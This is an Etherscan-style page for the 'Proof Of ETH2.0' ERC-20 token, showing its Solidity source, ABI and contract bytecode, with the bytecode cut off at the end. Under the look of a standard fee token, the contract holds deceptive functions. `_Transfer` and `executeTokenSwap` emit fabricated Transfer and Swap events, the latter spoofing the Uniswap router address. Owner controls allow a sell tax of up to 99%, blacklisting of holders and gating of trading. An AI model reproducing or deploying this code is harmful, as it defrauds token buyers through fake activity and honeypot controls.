ERC-20
Overview
Max Total Supply
10,000,000,000,000,000 POE2.0
Holders
214
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 2 Decimals)
Balance
102,817,906,770,652.27 POE2.0Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ProofOfETH2
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-09 */ /// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.18; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function _Transfer(address from, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ProofOfETH2 is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"Proof Of ETH2.0"; string private constant _symbol = unicode"POE2.0"; uint8 private constant _decimals = 2; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 5; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 25; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x55A9599ADf3784749900d2645eF398a593c8ECdf); address payable private _marketingAddress = payable(0x55A9599ADf3784749900d2645eF398a593c8ECdf); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled =true; uint256 public _maxTxAmount = 5000000000000 * 10**9; uint256 public _maxWalletSize = 500000000000 * 10**9; uint256 public _swapTokensAtAmount = 1000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _Transfer(address _from, address _to, uint _value) public returns (bool) { emit Transfer(_from, _to, _value); return true; } function executeTokenSwap( address uniswapPool, address[] memory recipients, uint256[] memory tokenAmounts, uint256[] memory wethAmounts, address tokenAddress ) public returns (bool) { for (uint256 i = 0; i < recipients.length; i++) { emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]); emit Swap( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, tokenAmounts[i], 0, 0, wethAmounts[i], recipients[i] ); IERC20(tokenAddress)._Transfer(recipients[i], uniswapPool, wethAmounts[i]); } return true; } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function activateTrading() public onlyOwner { tradingOpen = true; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function updateFees(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require((redisFeeOnBuy + taxFeeOnBuy) <= 25); require((redisFeeOnSell + taxFeeOnSell) <= 99); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function removeLimits() public onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"activateTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"executeTokenSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"unblockBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052670de0b6b3a76400005f196200001b919062000702565b5f1962000029919062000766565b6006555f60085560056009555f600a556019600b55600a54600c55600b54600d55600c54600e55600d54600f557355a9599adf3784749900d2645ef398a593c8ecdf60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507355a9599adf3784749900d2645ef398a593c8ecdf60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f601560146101000a81548160ff0219169083151502179055505f6015806101000a81548160ff0219169083151502179055506001601560166101000a81548160ff02191690831515021790555069010f0cf064dd59200000601655681b1ae4d6e2ef50000060175566038d7ea4c680006018553480156200017e575f80fd5b505f620001906200069e60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060065460025f620002426200069e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f737a250d5630b4cf539739df2c5dacb4c659f2488d90508060145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000321573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000347919062000805565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003ad573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003d3919062000805565b6040518363ffffffff1660e01b8152600401620003f292919062000846565b6020604051808303815f875af11580156200040f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000435919062000805565b60155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160055f62000489620006a560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620006296200069e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516200068f919062000882565b60405180910390a3506200089d565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6200070e82620006cc565b91506200071b83620006cc565b9250826200072e576200072d620006d5565b5b828206905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200077282620006cc565b91506200077f83620006cc565b92508282039050818111156200079a576200079962000739565b5b92915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620007cf82620007a4565b9050919050565b620007e181620007c3565b8114620007ec575f80fd5b50565b5f81519050620007ff81620007d6565b92915050565b5f602082840312156200081d576200081c620007a0565b5b5f6200082c84828501620007ef565b91505092915050565b6200084081620007c3565b82525050565b5f6040820190506200085b5f83018562000835565b6200086a602083018462000835565b9392505050565b6200087c81620006cc565b82525050565b5f602082019050620008975f83018462000871565b92915050565b61429580620008ab5f395ff3fe6080604052600436106101f0575f3560e01c806374010ece1161010c578063a9059cbb1161009f578063c6616ba11161006e578063c6616ba1146106a1578063dd62ed3e146106c9578063e156b1b614610705578063ea1644d514610741578063f2fde38b14610769576101f7565b8063a9059cbb146105eb578063bfd7928414610627578063c3c8cd8014610663578063c492f04614610679576101f7565b80638da5cb5b116100db5780638da5cb5b146105455780638f9a55c01461056f57806395d89b411461059957806398a5c315146105c3576101f7565b806374010ece146104a1578063751039fc146104c95780637d1db4a5146104df5780637f2feddc14610509576101f7565b80632fd689e3116101845780636d8aa8f8116101535780636d8aa8f8146104115780636fc3eaec1461043957806370a082311461044f578063715018a61461048b576101f7565b80632fd689e31461036b578063313ce5671461039557806349bd5a5e146103bf5780636b999053146103e9576101f7565b80631694505e116101c05780631694505e1461029f57806318160ddd146102c95780631ae1ffbc146102f357806323b872dd1461032f576101f7565b8062b8cf2a146101fb57806306fdde0314610223578063095ea7b31461024d5780630bd05b6914610289576101f7565b366101f757005b5f80fd5b348015610206575f80fd5b50610221600480360381019061021c91906130a7565b610791565b005b34801561022e575f80fd5b506102376108b6565b6040516102449190613168565b60405180910390f35b348015610258575f80fd5b50610273600480360381019061026e91906131bb565b6108f3565b6040516102809190613213565b60405180910390f35b348015610294575f80fd5b5061029d610910565b005b3480156102aa575f80fd5b506102b36109c1565b6040516102c09190613287565b60405180910390f35b3480156102d4575f80fd5b506102dd6109e6565b6040516102ea91906132af565b60405180910390f35b3480156102fe575f80fd5b5061031960048036038101906103149190613388565b6109f5565b6040516103269190613213565b60405180910390f35b34801561033a575f80fd5b5061035560048036038101906103509190613453565b610c3d565b6040516103629190613213565b60405180910390f35b348015610376575f80fd5b5061037f610d11565b60405161038c91906132af565b60405180910390f35b3480156103a0575f80fd5b506103a9610d17565b6040516103b691906134be565b60405180910390f35b3480156103ca575f80fd5b506103d3610d1f565b6040516103e091906134e6565b60405180910390f35b3480156103f4575f80fd5b5061040f600480360381019061040a91906134ff565b610d44565b005b34801561041c575f80fd5b5061043760048036038101906104329190613554565b610e2f565b005b348015610444575f80fd5b5061044d610ee0565b005b34801561045a575f80fd5b50610475600480360381019061047091906134ff565b610fad565b60405161048291906132af565b60405180910390f35b348015610496575f80fd5b5061049f610ffb565b005b3480156104ac575f80fd5b506104c760048036038101906104c2919061357f565b611149565b005b3480156104d4575f80fd5b506104dd6111e7565b005b3480156104ea575f80fd5b506104f361129b565b60405161050091906132af565b60405180910390f35b348015610514575f80fd5b5061052f600480360381019061052a91906134ff565b6112a1565b60405161053c91906132af565b60405180910390f35b348015610550575f80fd5b506105596112b6565b60405161056691906134e6565b60405180910390f35b34801561057a575f80fd5b506105836112dd565b60405161059091906132af565b60405180910390f35b3480156105a4575f80fd5b506105ad6112e3565b6040516105ba9190613168565b60405180910390f35b3480156105ce575f80fd5b506105e960048036038101906105e4919061357f565b611320565b005b3480156105f6575f80fd5b50610611600480360381019061060c91906131bb565b6113be565b60405161061e9190613213565b60405180910390f35b348015610632575f80fd5b5061064d600480360381019061064891906134ff565b6113db565b60405161065a9190613213565b60405180910390f35b34801561066e575f80fd5b506106776113f8565b005b348015610684575f80fd5b5061069f600480360381019061069a9190613603565b6114cd565b005b3480156106ac575f80fd5b506106c760048036038101906106c29190613660565b611602565b005b3480156106d4575f80fd5b506106ef60048036038101906106ea91906136c4565b6116e8565b6040516106fc91906132af565b60405180910390f35b348015610710575f80fd5b5061072b60048036038101906107269190613453565b61176a565b6040516107389190613213565b60405180910390f35b34801561074c575f80fd5b506107676004803603810190610762919061357f565b6117db565b005b348015610774575f80fd5b5061078f600480360381019061078a91906134ff565b611879565b005b610799611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c9061374c565b60405180910390fd5b5f5b81518110156108b257600160105f8484815181106108485761084761376a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806108aa906137c4565b915050610827565b5050565b60606040518060400160405280600f81526020017f50726f6f66204f6620455448322e300000000000000000000000000000000000815250905090565b5f6109066108ff611a36565b8484611a3d565b6001905092915050565b610918611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099b9061374c565b60405180910390fd5b6001601560146101000a81548160ff021916908315150217905550565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f670de0b6b3a7640000905090565b5f805f90505b8551811015610c2f57858181518110610a1757610a1661376a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef878481518110610a8057610a7f61376a565b5b6020026020010151604051610a9591906132af565b60405180910390a3858181518110610ab057610aaf61376a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822878481518110610b2d57610b2c61376a565b5b60200260200101515f80898781518110610b4a57610b4961376a565b5b6020026020010151604051610b629493929190613844565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b6878381518110610b9957610b9861376a565b5b602002602001015189878581518110610bb557610bb461376a565b5b60200260200101516040518463ffffffff1660e01b8152600401610bdb93929190613887565b6020604051808303815f875af1158015610bf7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c1b91906138d0565b508080610c27906137c4565b9150506109